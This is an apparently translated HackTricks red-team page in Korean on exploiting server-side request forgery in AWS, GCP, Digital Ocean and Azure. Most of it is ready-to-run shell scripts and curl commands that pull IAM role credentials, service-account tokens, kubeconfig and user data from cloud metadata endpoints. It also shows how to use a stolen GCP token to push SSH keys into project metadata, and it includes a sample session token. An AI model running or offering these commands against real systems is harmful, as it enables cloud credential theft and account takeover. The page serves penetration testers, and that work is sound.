Cloud SSRF

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

AWS

AWS EC2 ν™˜κ²½μ—μ„œ SSRF μ•…μš©ν•˜κΈ°

메타데이터 μ—”λ“œν¬μΈνŠΈλŠ” λͺ¨λ“  EC2 λ¨Έμ‹  λ‚΄λΆ€μ—μ„œ μ ‘κ·Όν•  수 있으며, 이에 λŒ€ν•œ ν₯미둜운 정보λ₯Ό μ œκ³΅ν•©λ‹ˆλ‹€. URLμ—μ„œ μ ‘κ·Όν•  수 μžˆμŠ΅λ‹ˆλ‹€: http://169.254.169.254 (메타데이터에 λŒ€ν•œ μ •λ³΄λŠ” μ—¬κΈ°).

메타데이터 μ—”λ“œν¬μΈνŠΈμ—λŠ” 2κ°€μ§€ 버전이 μžˆμŠ΅λ‹ˆλ‹€. 첫 번째 버전은 GET μš”μ²­μ„ 톡해 μ—”λ“œν¬μΈνŠΈμ— μ ‘κ·Όν•  수 있게 ν•΄μ€λ‹ˆλ‹€ (λ”°λΌμ„œ μ–΄λ–€ SSRF도 이λ₯Ό μ•…μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€). 버전 2인 IMDSv2μ—μ„œλŠ” 토큰을 μš”μ²­ν•˜κΈ° μœ„ν•΄ PUT μš”μ²­μ„ 보내고 HTTP 헀더λ₯Ό μ‚¬μš©ν•΄μ•Ό ν•˜λ©°, κ·Έ 후에 ν•΄λ‹Ή 토큰을 μ‚¬μš©ν•˜μ—¬ λ‹€λ₯Έ HTTP ν—€λ”λ‘œ 메타데이터에 μ ‘κ·Όν•΄μ•Ό ν•©λ‹ˆλ‹€ (λ”°λΌμ„œ SSRF둜 μ•…μš©ν•˜κΈ° 더 λ³΅μž‘ν•©λ‹ˆλ‹€).

Caution

EC2 μΈμŠ€ν„΄μŠ€κ°€ IMDSv2λ₯Ό κ°•μ œν•˜λŠ” 경우, λ¬Έμ„œμ— λ”°λ₯΄λ©΄, PUT μš”μ²­μ˜ 응닡은 hop limit이 1둜 μ„€μ •λ˜μ–΄ μžˆμ–΄ EC2 μΈμŠ€ν„΄μŠ€ λ‚΄λΆ€μ˜ μ»¨ν…Œμ΄λ„ˆμ—μ„œ EC2 메타데이터에 μ ‘κ·Όν•  수 μ—†κ²Œ λ©λ‹ˆλ‹€.

λ˜ν•œ, IMDSv2λŠ” X-Forwarded-For 헀더λ₯Ό ν¬ν•¨ν•œ 토큰 μš”μ²­μ„ μ°¨λ‹¨ν•©λ‹ˆλ‹€. μ΄λŠ” 잘λͺ» κ΅¬μ„±λœ λ¦¬λ²„μŠ€ ν”„λ‘μ‹œκ°€ 이λ₯Ό μ ‘κ·Όν•˜μ§€ λͺ»ν•˜λ„둝 λ°©μ§€ν•˜κΈ° μœ„ν•¨μž…λ‹ˆλ‹€.

메타데이터 μ—”λ“œν¬μΈνŠΈμ— λŒ€ν•œ μ •λ³΄λŠ” λ¬Έμ„œμ—μ„œ 확인할 수 μžˆμŠ΅λ‹ˆλ‹€. λ‹€μŒ μŠ€ν¬λ¦½νŠΈμ—μ„œλŠ” μ΄λ‘œλΆ€ν„° ν₯미둜운 정보λ₯Ό μ–»μŠ΅λ‹ˆλ‹€:

EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""

곡개적으둜 μ‚¬μš© κ°€λŠ₯ν•œ IAM 자격 증λͺ… λ…ΈμΆœ μ˜ˆμ‹œλ‘œ λ‹€μŒμ„ λ°©λ¬Έν•  수 μžˆμŠ΅λ‹ˆλ‹€: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

λ˜ν•œ 곡개 EC2 λ³΄μ•ˆ 자격 증λͺ…을 확인할 수 μžˆμŠ΅λ‹ˆλ‹€: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

그런 λ‹€μŒ 이 자격 증λͺ…을 μ‚¬μš©ν•˜μ—¬ AWS CLI와 ν•¨κ»˜ μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€. μ΄λ ‡κ²Œ ν•˜λ©΄ ν•΄λ‹Ή 역할이 ν—ˆμš©λœ λͺ¨λ“  μž‘μ—…μ„ μˆ˜ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

μƒˆλ‘œμš΄ 자격 증λͺ…을 ν™œμš©ν•˜λ €λ©΄ λ‹€μŒκ³Ό 같이 μƒˆλ‘œμš΄ AWS ν”„λ‘œν•„μ„ 생성해야 ν•©λ‹ˆλ‹€:

[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=

aws_session_token에 μ£Όλͺ©ν•˜μ„Έμš”. μ΄λŠ” ν”„λ‘œν•„μ΄ μž‘λ™ν•˜λŠ” 데 ν•„μˆ˜μ μž…λ‹ˆλ‹€.

PACUλŠ” 발견된 자격 증λͺ…을 μ‚¬μš©ν•˜μ—¬ κΆŒν•œμ„ ν™•μΈν•˜κ³  κΆŒν•œ μƒμŠΉμ„ μ‹œλ„ν•˜λŠ” 데 μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

AWS ECS (μ»¨ν…Œμ΄λ„ˆ μ„œλΉ„μŠ€) 자격 증λͺ…μ—μ„œμ˜ SSRF

ECSλŠ” μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ„ μ‹€ν–‰ν•  수 μžˆλŠ” EC2 μΈμŠ€ν„΄μŠ€μ˜ 논리적 그룹으둜, ECSκ°€ ν΄λŸ¬μŠ€ν„° 관리 인프라λ₯Ό λŒ€μ‹  κ΄€λ¦¬ν•˜κΈ° λ•Œλ¬Έμ— 자체 ν΄λŸ¬μŠ€ν„° 관리 인프라λ₯Ό ν™•μž₯ν•  ν•„μš”κ°€ μ—†μŠ΅λ‹ˆλ‹€. ECSμ—μ„œ μ‹€ν–‰ 쀑인 μ„œλΉ„μŠ€λ₯Ό μ†μƒμ‹œν‚€λ©΄ 메타데이터 μ—”λ“œν¬μΈνŠΈκ°€ λ³€κ²½λ©λ‹ˆλ‹€.

_http://169.254.170.2/v2/credentials/<GUID>_에 μ ‘κ·Όν•˜λ©΄ ECS λ¨Έμ‹ μ˜ 자격 증λͺ…을 찾을 수 μžˆμŠ΅λ‹ˆλ‹€. ν•˜μ§€λ§Œ λ¨Όμ € **<GUID>**λ₯Ό μ°Ύμ•„μ•Ό ν•©λ‹ˆλ‹€. <GUID>λ₯Ό 찾으렀면 λ¨Έμ‹  λ‚΄μ˜ environ λ³€μˆ˜ AWS_CONTAINER_CREDENTIALS_RELATIVE_URIλ₯Ό 읽어야 ν•©λ‹ˆλ‹€.
Path Traversal을 μ΄μš©ν•˜μ—¬ file:///proc/self/environ을 읽을 수 μžˆμŠ΅λ‹ˆλ‹€.
μ–ΈκΈ‰λœ http μ£Όμ†ŒλŠ” AccessKey, SecretKey 및 token을 μ œκ³΅ν•΄μ•Ό ν•©λ‹ˆλ‹€.

curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -

Tip

일뢀 κ²½μš°μ—λŠ” μ»¨ν…Œμ΄λ„ˆμ—μ„œ EC2 메타데이터 μΈμŠ€ν„΄μŠ€μ— μ ‘κ·Όν•  수 μžˆμŠ΅λ‹ˆλ‹€(μ•žμ„œ μ–ΈκΈ‰ν•œ IMDSv2 TTL μ œν•œ 사항을 ν™•μΈν•˜μ„Έμš”). μ΄λŸ¬ν•œ μ‹œλ‚˜λ¦¬μ˜€μ—μ„œλŠ” μ»¨ν…Œμ΄λ„ˆμ—μ„œ μ»¨ν…Œμ΄λ„ˆ IAM μ—­ν• κ³Ό EC2 IAM μ—­ν•  λͺ¨λ‘μ— μ ‘κ·Όν•  수 μžˆμŠ΅λ‹ˆλ‹€.

AWS Lambda에 λŒ€ν•œ SSRF

이 경우 자격 증λͺ…은 env λ³€μˆ˜μ— μ €μž₯λ©λ‹ˆλ‹€. λ”°λΌμ„œ 이λ₯Ό μ ‘κ·Όν•˜λ €λ©΄ **file:///proc/self/environ**κ³Ό 같은 것을 μ ‘κ·Όν•΄μ•Ό ν•©λ‹ˆλ‹€.

ν₯미둜운 env λ³€μˆ˜μ˜ 이름은 λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€:

  • AWS_SESSION_TOKEN
  • AWS_SECRET_ACCESS_KEY
  • AWS_ACCES_KEY_ID

κ²Œλ‹€κ°€ IAM 자격 증λͺ… 외에도 Lambda ν•¨μˆ˜λŠ” ν•¨μˆ˜κ°€ μ‹œμž‘λ  λ•Œ ν•¨μˆ˜μ— μ „λ‹¬λ˜λŠ” 이벀트 데이터λ₯Ό κ°€μ§€κ³  μžˆμŠ΅λ‹ˆλ‹€. 이 λ°μ΄ν„°λŠ” λŸ°νƒ€μž„ μΈν„°νŽ˜μ΄μŠ€λ₯Ό 톡해 ν•¨μˆ˜μ— 제곡되며 λ―Όκ°ν•œ 정보(예: stageVariables λ‚΄λΆ€)λ₯Ό 포함할 수 μžˆμŠ΅λ‹ˆλ‹€. IAM 자격 증λͺ…κ³Ό 달리, 이 λ°μ΄ν„°λŠ” ν‘œμ€€ SSRFλ₯Ό 톡해 **http://localhost:9001/2018-06-01/runtime/invocation/next**μ—μ„œ μ ‘κ·Όν•  수 μžˆμŠ΅λ‹ˆλ‹€.

Warning

lambda 자격 증λͺ…이 env λ³€μˆ˜ μ•ˆμ— μžˆλ‹€λŠ” 점에 μœ μ˜ν•˜μ„Έμš”. λ”°λΌμ„œ lambda μ½”λ“œμ˜ μŠ€νƒ 좔적이 env λ³€μˆ˜λ₯Ό 좜λ ₯ν•˜λ©΄, μ•±μ—μ„œ 였λ₯˜λ₯Ό μœ λ°œν•˜μ—¬ 이λ₯Ό μœ μΆœν•  수 μžˆμŠ΅λ‹ˆλ‹€.

AWS Elastic Beanstalk에 λŒ€ν•œ SSRF URL

APIμ—μ„œ accountId와 region을 κ°€μ Έμ˜΅λ‹ˆλ‹€.

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

그런 λ‹€μŒ APIμ—μ„œ AccessKeyId, SecretAccessKey 및 Token을 κ°€μ Έμ˜΅λ‹ˆλ‹€.

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

그런 λ‹€μŒ aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/ λͺ…λ Ήμ–΄λ‘œ 자격 증λͺ…을 μ‚¬μš©ν•©λ‹ˆλ‹€.

GCP

메타데이터 μ—”λ“œν¬μΈνŠΈμ— λŒ€ν•œ λ¬Έμ„œλ₯Ό μ—¬κΈ°μ—μ„œ 찾을 수 μžˆμŠ΅λ‹ˆλ‹€.

Google Cloud의 SSRF URL

HTTP 헀더 **Metadata-Flavor: Google**이 ν•„μš”ν•˜λ©°, λ‹€μŒ URL을 톡해 메타데이터 μ—”λ“œν¬μΈνŠΈμ— μ ‘κ·Όν•  수 μžˆμŠ΅λ‹ˆλ‹€:

정보λ₯Ό μΆ”μΆœν•˜κΈ° μœ„ν•œ ν₯미둜운 μ—”λ“œν¬μΈνŠΈ:

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

BetaλŠ” ν˜„μž¬ 헀더λ₯Ό ν•„μš”λ‘œ ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€ (Mathias Karlsson @avlidienbrunnμ—κ²Œ κ°μ‚¬λ“œλ¦½λ‹ˆλ‹€)

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

Caution

유좜된 μ„œλΉ„μŠ€ 계정 토큰을 μ‚¬μš©ν•˜λ €λ©΄ λ‹€μŒκ³Ό 같이 ν•˜λ©΄ λ©λ‹ˆλ‹€:

# ν™˜κ²½ λ³€μˆ˜λ₯Ό 톡해
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# 섀정을 톡해
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file

SSH ν‚€ μΆ”κ°€

토큰 μΆ”μΆœ

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

ν† ν°μ˜ λ²”μœ„λ₯Ό ν™•μΈν•˜μ„Έμš” (이전 좜λ ₯ λ˜λŠ” λ‹€μŒμ„ μ‹€ν–‰ν•˜μ—¬).

curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}

이제 SSH ν‚€λ₯Ό ν‘Έμ‹œν•˜μ„Έμš”.

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

Cloud Functions

메타데이터 μ—”λ“œν¬μΈνŠΈλŠ” VMμ—μ„œμ™€ λ™μΌν•˜κ²Œ μž‘λ™ν•˜μ§€λ§Œ 일뢀 μ—”λ“œν¬μΈνŠΈκ°€ μ—†μŠ΅λ‹ˆλ‹€:

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id

# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done

Digital Ocean

Warning

AWS μ—­ν• μ΄λ‚˜ GCP μ„œλΉ„μŠ€ 계정과 같은 것이 μ—†μœΌλ―€λ‘œ 메타데이터 봇 자격 증λͺ…을 찾을 수 μžˆμ„ 것이라고 κΈ°λŒ€ν•˜μ§€ λ§ˆμ‹­μ‹œμ˜€.

Documentation available at https://developers.digitalocean.com/documentation/metadata/

curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq

Azure

Azure VM

Docs in here.

  • λ°˜λ“œμ‹œ Metadata: true 헀더λ₯Ό 포함해야 ν•©λ‹ˆλ‹€.
  • X-Forwarded-For 헀더λ₯Ό ν¬ν•¨ν•˜μ§€ μ•Šμ•„μ•Ό ν•©λ‹ˆλ‹€.

Tip

Azure VM은 1개의 μ‹œμŠ€ν…œ 관리 ID와 μ—¬λŸ¬ 개의 μ‚¬μš©μž 관리 IDλ₯Ό κ°€μ§ˆ 수 μžˆμŠ΅λ‹ˆλ‹€. μ΄λŠ” 기본적으둜 VM에 μ—°κ²°λœ λͺ¨λ“  관리 IDλ₯Ό κ°€μž₯ν•  수 μžˆλ‹€λŠ” μ˜λ―Έμž…λ‹ˆλ‹€.

메타데이터 μ—”λ“œν¬μΈνŠΈμ— λŒ€ν•œ μ•‘μ„ΈμŠ€ 토큰을 μš”μ²­ν•  λ•Œ, 기본적으둜 메타데이터 μ„œλΉ„μŠ€λŠ” μ‹œμŠ€ν…œ ν• λ‹Ή 관리 IDλ₯Ό μ‚¬μš©ν•˜μ—¬ 토큰을 μƒμ„±ν•©λ‹ˆλ‹€. μ‹œμŠ€ν…œ ν• λ‹Ή 관리 IDκ°€ μžˆλŠ” κ²½μš°μ— ν•΄λ‹Ήν•©λ‹ˆλ‹€. λ§Œμ•½ ν•˜λ‚˜μ˜ μ‚¬μš©μž ν• λ‹Ή 관리 ID만 μžˆλ‹€λ©΄, 기본적으둜 이것이 μ‚¬μš©λ©λ‹ˆλ‹€. κ·ΈλŸ¬λ‚˜ μ‹œμŠ€ν…œ ν• λ‹Ή 관리 IDκ°€ μ—†κ³  μ—¬λŸ¬ 개의 μ‚¬μš©μž ν• λ‹Ή 관리 IDκ°€ μžˆλŠ” 경우, 메타데이터 μ„œλΉ„μŠ€λŠ” μ—¬λŸ¬ 관리 IDκ°€ μžˆμŒμ„ λ‚˜νƒ€λ‚΄λŠ” 였λ₯˜λ₯Ό λ°˜ν™˜ν•˜λ©°, μ–΄λ–€ 것을 μ‚¬μš©ν• μ§€ μ§€μ •ν•΄μ•Ό ν•©λ‹ˆλ‹€.

λΆˆν–‰νžˆλ„ VM에 μ—°κ²°λœ λͺ¨λ“  관리 IDλ₯Ό λ‚˜νƒ€λ‚΄λŠ” 메타데이터 μ—”λ“œν¬μΈνŠΈλ₯Ό 찾을 수 μ—†μ—ˆμœΌλ―€λ‘œ, Red Team κ΄€μ μ—μ„œ VM에 ν• λ‹Ήλœ λͺ¨λ“  관리 IDλ₯Ό μ°ΎλŠ” 것은 μ–΄λ €μš΄ μž‘μ—…μ΄ 될 수 μžˆμŠ΅λ‹ˆλ‹€.

λ”°λΌμ„œ μ—°κ²°λœ λͺ¨λ“  관리 IDλ₯Ό μ°ΎκΈ° μœ„ν•΄ λ‹€μŒμ„ μˆ˜ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€:

  • az cli둜 μ—°κ²°λœ ID κ°€μ Έμ˜€κΈ° (Azure ν…Œλ„ŒνŠΈμ—μ„œ 주체λ₯Ό 이미 μ†μƒμ‹œν‚¨ 경우)
az vm identity show \
 --resource-group <rsc-group> \
 --name <vm-name>
  • λ©”νƒ€λ°μ΄ν„°μ—μ„œ κΈ°λ³Έ μ—°κ²° MIλ₯Ό μ‚¬μš©ν•˜μ—¬ μ—°κ²°λœ ID κ°€μ Έμ˜€κΈ°:
export API_VERSION="2021-12-13"

# κΈ°λ³Έ MIμ—μ„œ 토큰 κ°€μ Έμ˜€κΈ°
export TOKEN=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
 | jq -r '.access_token')

# ν•„μš”ν•œ 세뢀정보 κ°€μ Έμ˜€κΈ°
export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
export VM_NAME=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')

# μ—°κ²°λœ MIs κ°€μ Έμ˜€κΈ° μ‹œλ„
curl -s -H "Authorization: Bearer $TOKEN" \
 "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
